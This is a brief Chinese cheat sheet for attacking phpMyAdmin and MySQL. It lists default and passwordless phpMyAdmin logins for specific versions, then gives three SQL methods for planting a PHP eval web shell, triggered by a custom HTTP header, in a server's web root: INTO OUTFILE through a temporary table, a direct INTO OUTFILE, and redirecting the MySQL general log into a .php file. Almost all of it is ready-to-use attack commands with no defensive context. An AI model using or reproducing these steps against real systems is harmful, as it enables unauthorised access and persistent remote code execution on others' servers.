- 默认 phpMyAdmin:用户名 root、密码 root 或空登陆。
- 版本 2.11.3~2.11.4:用户名 localhost 登陆,无需密码。
- 版本 2.11.9.2:用户名 root 登陆,无需密码。
方法一
CREATE TABLE EVIL(EVIL_COL text NOT NULL);
INSERT INTO EVIL(EVIL_COL) VALUES('<?php @eval($_SERVER[\'HTTP_PHPSPL01T\']); ?>');
SELECT EVIL_COL from EVIL INTO OUTFILE '/home/wwwroot/default/test.php';
DROP TABLE IF EXISTS EVIL;
select @@basedir
可以看到 mysql 所在的绝对路径
方法二
SELECT '<?php @eval($_SERVER[\'HTTP_PHPSPL01T\']); ?>' INTO OUTFILE '/home/wwwroot/default/test.php';
这两种方法在新版 MySQL 中已经默认禁用。
SHOW VARIABLES LIKE 'secure_file_priv';
默认 VALUE 值为 NULL,即禁止。需要在设置文件中手动开启。
方法三
general log
指的是日志保存状态,一共有两个值ON/OFF
。开启它可以记录用户输入的每条命令,会把其保存在一个 log 文件中,也就是我们常说的日志文件。general log file
指的是日志的保存路径。
查询
SHOW VARIABLES LIKE 'general%'
设置输出文件并插入一句话:
SET global general_log='ON';
SET global general_log_file='/home/wwwroot/default/test.php';
SELECT '<?php @eval($_SERVER[\'HTTP_PHPSPL01T\']); ?>';